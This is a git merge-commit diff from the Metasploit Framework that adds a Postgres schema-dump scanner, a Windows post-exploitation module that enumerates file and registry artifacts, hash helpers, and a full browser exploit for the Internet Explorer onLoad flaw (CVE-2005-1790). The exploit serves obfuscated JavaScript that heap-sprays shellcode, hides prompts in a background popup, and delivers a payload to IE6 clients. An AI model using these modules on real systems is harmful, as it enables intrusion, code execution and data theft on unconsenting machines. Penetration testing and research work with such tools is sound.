Merge branch 'master' of git://github.com/rapid7/metasploit-framework into msf-scripts
commit
e4a0205cc6
|
@ -0,0 +1,14 @@
|
|||
# This file contains a list of artifacts used by the enum_artifacts post module
|
||||
# Artifacts should be listed one per line and use the following formats:
|
||||
# File entries
|
||||
# file|path/to/file|md5sum
|
||||
#
|
||||
# Registry entries
|
||||
# reg|hive|key|value
|
||||
#
|
||||
# Happy hunting
|
||||
|
||||
file|c:\ntdetect.com|b2de3452de03674c6cec68b8c8ce7c78
|
||||
file|c:\boot.ini|fa579938b0733b87066546afe951082c
|
||||
reg|HKEY_LOCAL_MACHINE\SYSTEM\Select|Current|1
|
||||
reg|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI|DisplayName|Microsoft ACPI Driver
|
|
@ -33,6 +33,15 @@ module File
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a MD5 checksum of a given remote file
|
||||
#
|
||||
|
||||
def file_remote_digestmd5(file2md5)
|
||||
chksum = Digest::MD5.hexdigest(read_file(file2md5))
|
||||
return chksum
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a SHA1 checksum of a given local file
|
||||
#
|
||||
|
@ -47,6 +56,15 @@ module File
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a SHA1 checksum of a given remote file
|
||||
#
|
||||
|
||||
def file_remote_digestsha1(file2sha1)
|
||||
chksum = Digest::SHA1.hexdigest(read_file(file2sha1))
|
||||
return chksum
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a SHA256 checksum of a given local file
|
||||
#
|
||||
|
@ -61,6 +79,15 @@ module File
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a SHA2 checksum of a given remote file
|
||||
#
|
||||
|
||||
def file_remote_digestsha2(file2sha2)
|
||||
chksum = Digest::SHA256.hexdigest(read_file(file2sha2))
|
||||
return chksum
|
||||
end
|
||||
|
||||
#
|
||||
# Platform-agnostic file read. Returns contents of remote file +file_name+
|
||||
# as a String.
|
||||
|
|
|
@ -0,0 +1,125 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Postgres Schema Dump',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %Q{
|
||||
This module extracts the schema information from a
|
||||
Postgres server.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options([
|
||||
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
|
||||
])
|
||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
pg_schema = get_schema
|
||||
pg_schema.each do |db|
|
||||
report_note(
|
||||
:host => datastore['RHOST'],
|
||||
:type => "postgres.db.schema",
|
||||
:data => db,
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'tcp',
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
output = "Postgres SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n ====================\n\n"
|
||||
output << YAML.dump(pg_schema)
|
||||
this_service = report_service(
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:name => 'postgres',
|
||||
:proto => 'tcp'
|
||||
)
|
||||
store_loot('postgres_schema', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_postgres_schema.txt", "Postgres SQL Schema", this_service)
|
||||
print_good output
|
||||
end
|
||||
|
||||
def get_schema
|
||||
pg_schema = []
|
||||
res = smart_query('SELECT datname FROM pg_database')
|
||||
if res and not res.empty?
|
||||
res.each do |row|
|
||||
defaults = ['template1', 'template0', 'postgres']
|
||||
next if defaults.include? row[0]
|
||||
tmp_db = {}
|
||||
tmp_db['DBName'] = row[0]
|
||||
tmp_db['Tables'] = []
|
||||
postgres_login({:database => row[0]})
|
||||
tmp_tblnames = smart_query("SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);")
|
||||
if tmp_tblnames and not tmp_tblnames.empty?
|
||||
tmp_tblnames.each do |tbl_row|
|
||||
tmp_tbl = {}
|
||||
tmp_tbl['TableName'] = tbl_row[0]
|
||||
tmp_tbl['Columns'] = []
|
||||
tmp_column_names = smart_query("SELECT A.attname, T.typname, A.attlen FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND (c.relname='#{tbl_row[0]}');")
|
||||
if tmp_column_names and not tmp_column_names.empty?
|
||||
tmp_column_names.each do |column_row|
|
||||
tmp_column = {}
|
||||
tmp_column['ColumnName'] = column_row[0]
|
||||
tmp_column['ColumnType'] = column_row[1]
|
||||
tmp_column['ColumnLength'] = column_row[2]
|
||||
tmp_tbl['Columns'] << tmp_column
|
||||
end
|
||||
end
|
||||
tmp_db['Tables'] << tmp_tbl
|
||||
end
|
||||
end
|
||||
pg_schema << tmp_db
|
||||
end
|
||||
end
|
||||
return pg_schema
|
||||
end
|
||||
|
||||
|
||||
def smart_query(query_string)
|
||||
res = postgres_query(query_string,false)
|
||||
#Error handling routine here, borrowed heavily from todb
|
||||
case res.keys[0]
|
||||
when :conn_error
|
||||
print_error("A Connection Error occured")
|
||||
return
|
||||
when :sql_error
|
||||
case res[:sql_error]
|
||||
when /^C42501/
|
||||
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficent permissions."
|
||||
return nil
|
||||
else
|
||||
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
|
||||
return nil
|
||||
end
|
||||
when :complete
|
||||
return res[:complete].rows
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,192 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',
|
||||
'Description' => %q{
|
||||
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
|
||||
conjunction with an improperly initialized 'window()' JavaScript function.
|
||||
This exploit results in a call to an address lower than the heap. The javascript
|
||||
prompt() places our shellcode near where the call operand points to. We call
|
||||
prompt() multiple times in separate iframes to place our return address.
|
||||
We hide the prompts in a popup window behind the main window. We spray the heap
|
||||
a second time with our shellcode and point the return address to the heap. I use
|
||||
a fairly high address to make this exploit more reliable. IE will crash when the
|
||||
exploit completes. Also, please note that Internet Explorer must allow popups
|
||||
in order to continue exploitation.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Benjamin Tobias Franz', # Discovery
|
||||
'Stuart Pearson', # Proof of Concept
|
||||
'Sam Sharps' # Metasploit port
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['MSB', 'MS05-054'],
|
||||
['CVE', '2005-1790'],
|
||||
['URL', 'http://www.securityfocus.com/bid/13799/info'],
|
||||
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00",
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => '-find',
|
||||
},
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
|
||||
[ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],
|
||||
],
|
||||
'DisclosureDate' => 'Nov 21 2005',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@var_redir = rand_text_alpha(rand(100)+1)
|
||||
super
|
||||
end
|
||||
|
||||
def auto_target(cli, request)
|
||||
mytarget = nil
|
||||
|
||||
agent = request.headers['User-Agent']
|
||||
print_status("Checking user agent: #{agent}")
|
||||
|
||||
if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)
|
||||
mytarget = targets[0] # IE6 on XP
|
||||
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
|
||||
mytarget = targets[1] # IE6 on 2000
|
||||
else
|
||||
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
|
||||
end
|
||||
|
||||
mytarget
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
mytarget = auto_target(cli, request)
|
||||
var_title = rand_text_alpha(rand(100) + 1)
|
||||
func_main = rand_text_alpha(rand(100) + 1)
|
||||
|
||||
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
|
||||
function heapspray()
|
||||
{
|
||||
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
|
||||
var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
|
||||
var headersize = 20;
|
||||
var slackspace = headersize + shellcode.length;
|
||||
while (bigblock.length < slackspace) bigblock += bigblock;
|
||||
var fillblock = bigblock.substring(0,slackspace);
|
||||
var block = bigblock.substring(0,bigblock.length - slackspace);
|
||||
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
|
||||
var memory = new Array();
|
||||
for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
|
||||
|
||||
var ret = "";
|
||||
var fillmem = "";
|
||||
|
||||
for (i = 0; i < 500; i++)
|
||||
ret += unescape("%u0F0F%u0F0F");
|
||||
for (i = 0; i < 200; i++)
|
||||
fillmem += ret;
|
||||
|
||||
prompt(fillmem, "");
|
||||
}
|
||||
|
|
||||
heapspray.obfuscate
|
||||
|
||||
nofunc = ::Rex::Exploitation::JSObfu.new %Q|
|
||||
|
||||
if (document.location.href.indexOf("#{@var_redir}") == -1)
|
||||
{
|
||||
var counter = 0;
|
||||
|
||||
|
||||
top.consoleRef = open('','BlankWindow',
|
||||
'width=100,height=100'
|
||||
+',menubar=0'
|
||||
+',toolbar=1'
|
||||
+',status=0'
|
||||
+',scrollbars=0'
|
||||
+',left=1'
|
||||
+',top=1'
|
||||
+',resizable=1')
|
||||
self.focus()
|
||||
|
||||
|
||||
for (counter = 0; counter < #{mytarget['iframes']}; counter++)
|
||||
{
|
||||
top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
|
||||
}
|
||||
document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
#{heapspray.sym('heapspray')}();
|
||||
}
|
||||
|
|
||||
|
||||
nofunc.obfuscate
|
||||
|
||||
main = %Q|
|
||||
function #{func_main}()
|
||||
{
|
||||
document.write("<TITLE>#{var_title}</TITLE>");
|
||||
document.write("<body onload=window();>");
|
||||
|
||||
window.location.reload();
|
||||
}
|
||||
|
|
||||
|
||||
html = %Q|
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Language" content="en-gb">
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
|
||||
<script>
|
||||
#{nofunc}
|
||||
#{heapspray}
|
||||
#{main}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to client #{cli.peerhost}")
|
||||
# Transmit the compressed response to the client
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,106 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/windows/registry'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows File and Registry Artifacts Enumeration',
|
||||
'Description' => %q{
|
||||
This module will check the file system and registry for particular artifacts. The
|
||||
list of artifacts is read from data/post/artifacts or a user specified file. Any
|
||||
matches are written to the loot. },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'averagesecurityguy <stephen[at]averagesecurityguy.info>' ],
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new( 'ARTIFACTS',
|
||||
[
|
||||
true,
|
||||
'Full path to artifacts file.',
|
||||
::File.join(Msf::Config.data_directory, 'post', 'enum_artifacts_list.txt')
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
# Store any found artifacts so they can be written to loot
|
||||
files_found = []
|
||||
reg_found = []
|
||||
|
||||
# Check artifacts file path
|
||||
filename = datastore['ARTIFACTS']
|
||||
if not ::File.exists?(filename)
|
||||
print_error("Artifacts file does not exist!")
|
||||
return
|
||||
end
|
||||
|
||||
# Start enumerating
|
||||
print_status("Processing artifacts file...")
|
||||
file = ::File.open(filename, "r")
|
||||
file.each_line do |line|
|
||||
line.strip!
|
||||
next if line.length < 1
|
||||
next if line[0,1] == "#"
|
||||
|
||||
# Check registry
|
||||
if line =~ /^reg/
|
||||
type, reg_key, val, data = line.split("|")
|
||||
reg_data = registry_getvaldata(reg_key, val)
|
||||
if reg_data.to_s == data
|
||||
reg_found << "#{reg_key}\\#{val}"
|
||||
end
|
||||
end
|
||||
|
||||
# Check file
|
||||
if line =~ /^file/
|
||||
type, file, hash = line.split("|")
|
||||
digest = file_remote_digestmd5(file)
|
||||
if digest == hash
|
||||
files_found << file
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Reporting. In case the user wants to separte artifact types (file vs registry),
|
||||
# we've already done it at this point.
|
||||
if files_found.empty?
|
||||
print_status("No file artifacts found")
|
||||
else
|
||||
save(files_found, "Enumerated File Artifacts")
|
||||
end
|
||||
|
||||
if reg_found.empty?
|
||||
print_status("No registry artifacts found")
|
||||
else
|
||||
save(reg_found, "Enumerated Registry Artifacts")
|
||||
end
|
||||
end
|
||||
|
||||
def save(data, name)
|
||||
f = store_loot('enumerated.artifacts', 'text/plain', session, data.join("\n"), name)
|
||||
print_status("#{name} stored in: #{f}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
To-do: Use CSV or yaml format to store enum_artifacts_list.txt
|
||||
=end
|
Loading…
Reference in New Issue